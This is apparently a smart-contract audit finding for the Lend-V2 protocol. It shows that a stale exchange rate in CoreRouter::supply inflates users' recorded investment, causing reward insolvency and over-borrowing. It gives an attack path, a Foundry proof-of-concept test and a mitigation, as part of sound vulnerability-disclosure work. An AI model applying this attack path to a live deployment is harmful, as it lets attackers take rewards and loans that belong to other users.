Restless Tan Goat

High

# Incorrect accounting of minted LTokens

### Summary

When a user supplies an underlying token, the amount of `LToken` actually minted and the amount accounted to the user's `totalInvestment` can differ.
This is caused by using a **stale** exchange rate when calculating the amount of tokens minted.

This incorrect accounting can cause rewards insolvency, as the `totalInvestment` is used for distributing rewards.
If the user borrows, the amount he can borrow will be determined by the `totalInvestment` which is greater than his actual collateral amount.

### Root Cause

Since the `LErc20::mint()` function does not return the amount of tokens that were minted,`CoreRouter::supply()` needs to calculate it separately using the same formula:
```solidity
mintTokens = actualMintAmount / exchangeRate
```

The issue stems from the fact that the exchange rate is fetched before the mint: [`CoreRouter.sol:74`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L74)
```solidity
    // Get exchange rate before mint
    uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();
```
but then during the minting itself, interest accrual is performed, which can affect the exchange rate: [`LToken.sol:385`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LToken.sol#L385)
```solidity
    function mintInternal(uint256 mintAmount) internal nonReentrant {
@>      accrueInterest();
        // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
        mintFresh(msg.sender, mintAmount);
    }
```
This means that the exchange rate fetched prior to the mint, which is the one that will be used for calculating the amount minted in `CoreRouter`, will become stale.

The `mintTokens` amount will be greater than the actual amount that was minted. This incorrect amount is used to update the user's entry into the `LendStorage::totalInvestment` mapping: [`CoreRouter.sol:87`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L87)
```solidity
    // Update total investment using calculated mintTokens
    lendStorage.updateTotalInvestment(
        msg.sender, _lToken, lendStorage.totalInvestment(msg.sender, _lToken) + mintTokens
    );
```

### Internal Pre-conditions

There needs to be some initial supply and active borrows, so that the exchange rate will be affected: [`LToken.sol:290`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LToken.sol#L290)
```solidity
    /**
     * @notice Calculates the exchange rate from the underlying to the LToken
     * @dev This function does not accrue interest before calculating the exchange rate
     * @return calculated exchange rate scaled by 1e18
     */
    function exchangeRateStoredInternal() internal view virtual returns (uint256) {
        uint256 _totalSupply = totalSupply;
        if (_totalSupply == 0) {
            /*
             * If there are no tokens minted:
             *  exchangeRate = initialExchangeRate
             */
            return initialExchangeRateMantissa;
        } else {
            /*
             * Otherwise:
             *  exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
             */
            uint256 totalCash = getCashPrior();
            uint256 cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
            uint256 exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;

            return exchangeRate;
        }
    }
```

### External Pre-conditions

N/A

### Attack Path

1. Someone need to provide some initial supply of underlying token.
2. Someone needs to have borrowed some amount.
3. The attacker/s supply into the protocol, which will calculate their `totalInvestment` using stale exchange rate, resulting in inflated `totalInvestment` in relation to their collateral amount.

### Impact

When a user supplies, his `totalInvestment` is used for distributing LEND token rewards (see [`CoreRouter.sol:84`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L84) and [`LendStorage.sol:327`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L327)).

Since the `totalInvestment` is bigger than the actual LToken holdings, the user will be accrued more LEND token rewards than he should.
This can cause rewards insolvency - if enough users claim their rewards, the remaining users will not be able to claim, as there would be less LEND tokens available than their accrued rewards. This is demonstrated in the POC.

If the user borrows, the amount he can borrow will be determined by the `totalInvestment` (see [`CoreRouter.sol:152`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L152) and [`LendStorage.sol:400`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L400)), which is greater than his actual collateral amount. This can end up breaking a protocol invariant.

### PoC

Paste the following code in `test/TestSupplying.t.sol`.
Use `forge test --match-test test_that_coreRouter_supply_miscalculates_due_to_accrual -vvv` to run the test.

```solidity
    function test_that_coreRouter_supply_miscalculates_due_to_accrual() public {
        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);

        address supplier1 = makeAddr("supplier1");
        address supplier2 = makeAddr("supplier2");
        address borrower = makeAddr("borrower");

        //Initial Supply
        _supply(borrower, "borrower", token, 10000e18);
  
        //Borrow, so that interest will start being accrued
        //Calculate maximum allowed borrow (70% of collateral to leave some safety margin)
        uint256 maxBorrow = (10000e18 * 70) / 100;
        _borrow(borrower, "borrower", token, maxBorrow);

        //Snapshot exchange rate before interest accrual
        uint256 exchangeRateBeforeAccrual = LTokenInterface(lToken).exchangeRateStored();
        console2.log("exchangeRate before accrual:", exchangeRateBeforeAccrual);

        //Simulate interest accrual by advancing block.timestamp + block.number
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + 3600); // Advance 1 hour

        //Supply again, now interest accrual should have an effect on exchange rate and impact of incorrect calculation will be visible
        _supply(supplier1, "supplier1", token, 10000e18);

        //Capture updated exchange rate 
        //(this is the actual exchangeRate used for calculating the amount of LToken to be minted for the previous supply)
        uint256 exchangeRateAfterAccrual = LTokenInterface(lToken).exchangeRateStored();
        console2.log("exchangeRate after accrual:", exchangeRateAfterAccrual);

        _supply(supplier2, "supplier2", token, 10000e18);

        uint256 totalSupply = LTokenInterface(lToken).totalSupply();
        console2.log("totalSupply:", totalSupply);

        uint256 borrowerInvestment = lendStorage.totalInvestment(borrower, lToken);
        uint256 supplier1Investment = lendStorage.totalInvestment(supplier1, lToken);
        uint256 supplier2Investment = lendStorage.totalInvestment(supplier2, lToken);
        uint256 totalInvestment = borrowerInvestment + supplier1Investment + supplier2Investment;
        console2.log("totalInvestment:", totalInvestment);

        //assert there is mismatch between actual amount minted and total investment accounting
        assertLt(totalSupply, totalInvestment);

        //prove that the mismatch between totalInvestment and actual LToken amount minted will cause reward insolvency
        //Simulate interest accrual by advancing block.timestamp + block.number
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + 3600); // Advance 1 hour

        _assertRewardsInsolvency(borrower, supplier1, supplier2, lToken);
    }

    function _assertRewardsInsolvency(address borrower, address supplier1, address supplier2, address lToken) internal {
        IERC20 lendToken = IERC20(lendtroller.getLendAddress());

        _claimLend(supplier1, "supplier1", lToken);
        uint supplier1LendTokenBalance = lendToken.balanceOf(supplier1);
        console2.log("supplier1's LEND balance:", supplier1LendTokenBalance);

        _claimLend(supplier2, "supplier2", lToken);
        uint supplier2LendTokenBalance = lendToken.balanceOf(supplier2);
        console2.log("supplier2's LEND balance:", supplier2LendTokenBalance);

        _claimLend(borrower, "borrower", lToken);
        uint borrowerLendTokenBalance = lendToken.balanceOf(borrower);
        console2.log("borrower's LEND balance:", borrowerLendTokenBalance);

        //the borrower's claim will not be distributed as there are now less LEND tokens in the CoreRouter than the borrower's lend accrued
        assertEq(borrowerLendTokenBalance, 0);
    }

    function _supply(address supplier, string memory _alias, address underlying, uint256 amount) internal {
        vm.startPrank(supplier);

        console2.log("%s supplying %d", _alias, amount);

        //mint underlying token
        ERC20Mock(underlying).mint(supplier, amount);
        
        //approve router and supply
        IERC20(underlying).approve(address(coreRouter), amount);
        coreRouter.supply(amount, underlying);

        vm.stopPrank();
    }

    function _borrow(address borrower, string memory _alias, address underlying, uint256 amount) internal {
        vm.startPrank(borrower);

        console2.log("%s borrowing %d", _alias, amount);
      
        coreRouter.borrow(amount, underlying);

        vm.stopPrank();
    }

    function _claimLend(address claimer, string memory _alias, address lToken) internal {
        vm.startPrank(claimer);

        console2.log("%s claiming LEND", _alias);

        //build arguments for claimLend() call
        address[] memory claimers = new address[](1);
        claimers[0] = claimer;

        LToken[] memory lTokensToClaim = new LToken[](1);
        lTokensToClaim[0] = LToken(lToken);

        //claim earned lend tokens
        coreRouter.claimLend(claimers, lTokensToClaim, true, true);
    }
}
```

### Mitigation

Ensure that interest is accrued in the same transaction before the exchange rate is fetched and used for calculations.